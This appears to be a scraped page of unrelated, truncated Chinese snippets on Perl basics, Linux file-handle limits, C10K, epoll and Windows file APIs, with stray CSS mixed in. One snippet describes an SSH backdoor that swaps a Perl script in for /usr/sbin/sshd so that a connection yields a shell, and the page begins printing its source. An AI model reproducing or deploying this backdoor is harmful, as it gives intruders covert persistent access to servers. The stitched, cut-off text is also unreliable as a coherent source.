<>操作符俗称钻石操作符，它是行标准输入<STDIN>的特例，不是从键盘获得数据而是从用户指定的位置读取数据，这里的用户指定位置指运行程序时命令行程序后面紧跟的参数，也即命令行参数。
在数字IC中，很多都要求熟悉 Python 或者 Perl 脚本，联发科和其他很多企业在招聘中也经常有这样的题目。
零基础，perl语言，10分钟入门 1.Hello,World #!/usr/bin/perl -w print ("hello,world!\n"); #print "hello,world!\n"; 说明： （1）第一行指定解释器，-w参数表示提示警告（或者使用use strict命令，执行更严格的检查）； （2）第二行输出hello, world!； （3）如果习惯c的函数方式，print的参数可以打括号； （4）第三行是注释，注释以#打头； （5）如果习惯shell的方式，print的参数可以没有括
# 包名 use Cow; Cow->speek; # 变量 my $beast = 'Cow'; $beast->speek;
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当多个进程或多个程序都想要修同一个文件的时候，如果不加控制，多进程或多程序将可能导致文件更新的丢失。
Perl语言入门 /** * prism.js Github theme based on GitHub's theme. * @author Sam Clarke */ code[class*="language-"], pre[class*="language-"] { color: #333; background: none; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; text-align: left; white-space: pre; word-spacing: normal; word-break: normal; word-wrap: normal; line-height: 1.4; -moz-tab-size: 8; -o-tab-size: 8; tab-size: 8; -webkit-hyphens: none; -moz-hyphens: none; -ms-hyphens: none; hyphens: none; } /* Code blocks */ pre[class*="language-"] { padding: .8em; overflow: auto; /* border: 1px solid #ddd; */ border-radius: 3px; /* background: #fff; */ background: #f5f5f5; } /* Inline code */ :not(pre) > code[class*="language-"] { padding: .1em; border-radius: .3em; white-space: normal; background: #f5f5f5; } .token.comment, .token.blockquote { color: #969896; } .token.cdata { color: #183691; } .token.doctype, .token.punctuation, .token.variable, .token.macro.property { color: #333; } .token.operator, .token.important, .token.keyword, .token.rule, .token.builtin { color: #a71d5d; } .token.string, .token.url, .token.regex, .token.attr-value { color: #183691; } .token.property, .token.number, .token.boolean, .token.entity, .token.atrule, .token.constant, .token.symbol, .token.command, .token.code { color: #0086b3; } .token.tag, .token.selector, .token.prolog { color: #63a35c; } .token.function, .token.namespace, .token.pseudo-element, .token.class, .token.class-name, .token.pseudo-class, .token.id, .token.url-reference .token.variable, .token.attr-name { color: #795da3; } .token.entity { cursor: help; } .token.title, .token.title .token.punctuation { font-weight: bold; color: #1d3e81; } .token.list { color: #ed6a43; } .token.inserted { background-color: #eaffea; color: #55a532; } .token.deleted { background-color: #ffecec; color: #bd2c00; } .token.bold { font-weight: bold; } .token.italic { font-style: italic; } /* JSON */ .lan
这里上传文件会直接进行展示，到这里就没了= = 只能看看师傅们的wp 师傅们猜测这里后台perl上传代码使用了param(）函数
0x00. 引言 在《利用系统特性伪装成一个免密登陆后门》一文中，我介绍过利用系统特性伪装成一个ssh系统后门，不过，这个后门需要新开一个端口，而本文介绍的这个后门只需要系统上开放了ssh服务就行了，不需要额外的开放端口，详情见正文。 0x01. 正文 1. 后门简介 这个ssh 后门伪装成一个perl脚本，名为sshd，位于/usr/sbin/sshd , 将系统原先的sshd 移到/usr/bin下 sshd后门源码： #!/usr/bin/perlexec"/bin/sh"if(getpeerna
文件句柄（File Handle）是操作系统中用于访问文件的一种数据结构，通常是一个整数或指针。文件句柄用于标识打开的文件，每个打开的文件都有一个唯一的文件句柄。
通常的分析手法如下(转自：https://blog.csdn.net/xiaolli/article/details/56012228)： (1). 确定是哪类文件打开太多，没有关闭.
在5.11内核环境下，/proc/sys/fs/file-max值默认为系统内存（kB为单位）的10%。内核源码相关实现见下图
作者介绍 崔华 网名 dbsnake Oracle ACE Director，ACOUG 核心专家 UTL_FILE包可以用来读写操作系统上的文本文件，UTL_FILE提供了在客户端（FORM等等
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服务器应用领域很古老很出名的一个问题，大意是说单台服务器要同时支持并发 10K 量级的连接，这些连接可能是保持存活状态的。
在配置我们的 Red Hat Linux 服务器时，确保文件句柄的最大数量足够大是非常关键的。文件句柄设置表示您在 Linux 系统中可以打开的文件数量。
内核参数fs.file-max指定了系统范围内所有进程可打开的文件句柄的数量限制。 合理值计算方法：取决于内存，每1M内存可增加100个。默认情况下，不要将超过10%的内存用于文件。将文件句柄数设置太大的危害是，当大量的文件句柄都为sockets时，会占用大量的内存，这些内存都是不可交换的。要记得的是网络套接字连接符也是文件。对于百万级连接数的进程来说，要设置单个进程可打开的文件句柄数为百万个。 比如256G内存，应该配置的值为：256*0.1*1024*100=2621440 设置方式：
上一篇文章中我们以REMOVE请求为例讲解了NFS请求的处理过程，其中提到了文件句柄的概念，NFS需要根据文件句柄查找一个文件，这篇文章中我们就来聊聊文件句柄。在普通的文件系统中，我们用文件索引节点编号(ino)表示一个文件。ino就是一个数字，ino保存在磁盘中，整个文件系统中任何两个文件的ino都不相同，因此给定一个ino，我们就能找到对应的文件。当使用NFS文件系统时就出现问题了，我们无法通过文件索引编号找到对应的文件。下面的例子中我们将一个文件系统挂载在另一个文件系统之上导出了。
Android很多地方会涉及到进程间的通信，比如输入系统，那么进程间通信会涉及哪些内容呢？
在 Linux 平台上运行的进程都会从系统资源申请一定数量的句柄，而且系统控制了进程能够申请的最大句柄数量。用户程序如果不及时释放无用的句柄，将会引起句柄泄露，从而可能造成申请资源失败，导致系统文件句柄用光连接不能建立。本文主要介绍Linux下如何查看和修改进程打开的文件句柄数，避免这类问题的发生。
ERROR 1040(HY000): Too many connections：DB连接池里已有太多连接，不能再和你建立新连接。
在一个工作中的实践项目中，项目是一个部署到linux下的中间件项目，当收到一个Client登录的时候，需要为这个Client打开四个文件，当进行 多用户的大压力测试的时候，程序就出问题了： too many opened files。 网上一查，发现有人也碰到过类似的socket/File: Can’t open so many files问题。 在此总结一下这个问题，希望对后来之人有点帮助。
步骤： 1、--查看当前各个进程打开的文件句柄数，其结果的第一列表示句柄数，第二列表示进程号 lsof -n|awk '{print $2}'|sort|uniq -c |sort -nr|more 2、--查看单个进程能够打开的最大文件句柄数量(socket连接也算在里面) ulimit -n 3、对比1和2的结果，如果1接近或超过2了，需要将2的配置调大 ulimit -n <最大文件句柄数> 4、如果想知道打开的文件句柄数最多的进程是哪个应用程序，可以使用如下命令 ps -aef|grep <进程号> 5、如果句柄数调的非常大了，还是不行，可能需要看看/proc/sys/fs/file-max中的值，该值表示系统全局的可用句柄数，可修改 vim /proc/sys/fs/file-max 6、对于正在使用(分配出去)的所有的句柄数、未使用的所有的句柄数、可使用的最大的句柄数这3个值，可以通过以下只读文件查看 vim /proc/sys/fs/file-nr 提示：当分配出去的句柄数接近最大句柄数，而“未使用的句柄数”远大于零时，表明你遇到了一个“句柄”使用高峰，这意为着你不需要增加file-max的值。 原文如下： When the allocated file handles come close to the maximum, but the number of unused file handles is significantly greater than 0, you’ve encountered a peak in your usage of file handles and you don’t need to increase the maximum.
1.概述 在实际工作中会经常遇到一些bug，有些就需要用到文件句柄，文件描述符等概念，比如报错： too many open files, 如果你对相关知识一无所知，那么debug起来将会异常痛苦。在Linux操作系统中，文件句柄（包括Socket句柄）、打开文件、文件指针、文件描述符的概念比较绕，而且windows的文件句柄又与此有何关联和区别？这一系列的问题是我们不得不面对的。 这里先笼统的将一下自己对上面的问题的一些理解： 句柄，熟悉Windows编程的人知道：句柄是Windows用来标识被应用程序
1.进程级的文件描述符表 2.系统级的打开文件描述符表 3.文件系统的i-node表
最近遇到一个非常有趣的问题。其中有一组HAProxy，频繁出现问题。登录上服务器，cpu、内存、网络、io一顿猛查。最终发现，机器上处于TIME_WAIT状态的连接，多达6万多个。
“too many open files”这个错误大家经常会遇到，因为这个是Linux系统中常见的错误，也是云服务器中经常会出现的，而网上的大部分文章都是简单修改一下打开文件数的限制，根本就没有彻底的解决问题。
ATOM 原子（原子表中的一个字符串的参考） BOOL 布尔变量 BOOLEAN 布尔变量 BYTE 字节（8位） CCHAR Windows字符 CHAR Windows字符 COLORREF 红、绿、蓝(RGB)彩色值(32位) Const 变量，该变量的值在执行期间保持为常量 CRITICAL_SECTION
中文地址： https://www.oschina.net/translate/c10k
在文件I/O中，要从一个文件读取数据，应用程序首先要调用操作系统函数并传送文件名，并选一个到该文件的路径来打开文件。该函数取回一个顺序号，即文件句柄（file handle），该文件句柄对于打开的文件是唯一的识别依据。要从文件中读取一块数据，应用程序需要调用函数ReadFile，并将文件句柄在内存中的地址和要拷贝的字节数传送给操作系统。当完成任务后，再通过调用系统函数来关闭该文件。
Perl是典型的脚本语言，短小精悍，非常容易上手，尤其适合处理文本，数据，以及系统管理。它在老一辈的生物信息学分析人员中非常流行，出于历史遗留原因大家肯定会或多或少地接触 Perl，即使你再怎么推崇P
文件操作API函数详解在VC中,大多数情况对文件的操作都使用系统提供的 API 函数，但有的函数我们不是很熟悉，以下提供一些文件操作 API 函数介绍：
1 C10K问题 大家都知道互联网的基础就是网络通信，早期的互联网可以说是一个小群体的集合。互联网还不够普及，用户也不多。一台服务器同时在线100个用户估计在当时已经算是大型应用了。所以并不存在什么C10K的难题。互联网的爆发期应该是在www网站，浏览器，雅虎出现后。最早的互联网称之为Web1.0，互联网大部分的使用场景是下载一个Html页面，用户在浏览器中查看网页上的信息。这个时期也不存在C10K问题。 Web2.0时代到来后就不同了，一方面是普及率大大提高了，用户群体几何倍增长。另一方面是互联网不再是单
网上说什么的也有，你抄我的我抄你的，也是醉了，故自己综合查阅的资料，根据自己的理解和判断以及部分的实践整理下吧，也不敢保证都是对的，如果有比较大的错误，希望看到这篇文章的你提出来，大家共同进步！
文件系统是所以操作系统的核心，系统的数据必须以文件的方式存储和组织。我们现在的系统没有硬盘，因此所有信息都存储在磁盘里，在内核加载时，引导扇区程序就会把磁盘上相关数据全都拷贝到内存里，于是所有文件内容在系统启动后，会从磁盘转存到内存中。 在前几节，我们已经建立了简易的文件系统，本节，我们为文件系统增加几个有利于文件读取操作的API.根据常用的文件API,我们提供的接口将支持以下几种操作： 1， 文件打开 api_fopen 2， 文件定位 api_fseek 3， 文件读取 api_fread 4， 文件
使用epoll时需要使用epoll_create()创建一个epoll的文件句柄，epoll_create()函数的原型如下：
在Linux下面部署应用的时候，有时候会遇上Socket/File: Can’t open so many files的问题，其实Linux是有文件句柄限制的（就像WinXP？），而且默认不是很高，一般都是1024，作为一台生产服务器，其实很容易就达到这个数量，因此我们需要把这个值改大一些。
在日常的编程开发中，我们经常需要读取文件并对其进行处理。在Java中，常用的文件读取类之一是FileInputStream。然而，使用FileInputStream时需要注意一个重要问题：及时关闭文件流。否则，可能导致文件句柄占用，进而影响文件的删除等操作。
epoll 是Linux平台下的一种特有的多路复用IO实现方式，与传统的 select 相比，epoll 在性能上有很大的提升。本文主要讲解 epoll 的实现原理，而对于 epoll 的使用可以参考相关的书籍或文章。
作者个人研发的在高并发场景下，提供的简单、稳定、可扩展的延迟消息队列框架，具有精准的定时任务和延迟队列处理功能。自开源半年多以来，已成功为十几家中小型企业提供了精准定时调度方案，经受住了生产环境的考验。为使更多童鞋受益，现给出开源框架地址：
默认情况下，rabbitmq文件句柄数设置是1024。连接数最多为829，连接数的具体计算方式为：
查看系统默认的最大文件句柄数，系统默认是1024 #ulimit -n 1024
对于高性能即时通讯技术（或者说互联网编程）比较关注的开发者，对C10K问题（即单机1万个并发连接问题）应该都有所了解。“C10K”概念最早由Dan Kegel发布于其个人站点，即出自其经典的《The C10K problem（英文PDF版、中文译文）》一文。
__in HANDLE ExistingCompletionPort,
先做下名词解释，所谓文本文件，就是指以特定的编码方式构成的数据序列。我们日常办公处理的.txt文件，.csv文件等都是文本文件。在进行网络爬虫、数据分析时，数据通常是文本文件格式，而不是像之前笔记里中的手动输入数据。Python中有一系列专门针对文本文件的操作。
其中前三项只有文件被打开后才有相应的结构，而后两项只要文件存在就存在了，与文件是否打开没有关系。
一个部署到 linux下的中间件项目，当收到一个 Client登录的时候，需要为这个 Client打开四个文件，当进行 多用户的大压力测试的时候，程序就出问题了： too many opened files。 网上一查，发现有人也碰到过类似的 socket/File: Can’t open so many files问题。 在此总结一下这个问题，希望对后来之人有点帮助。
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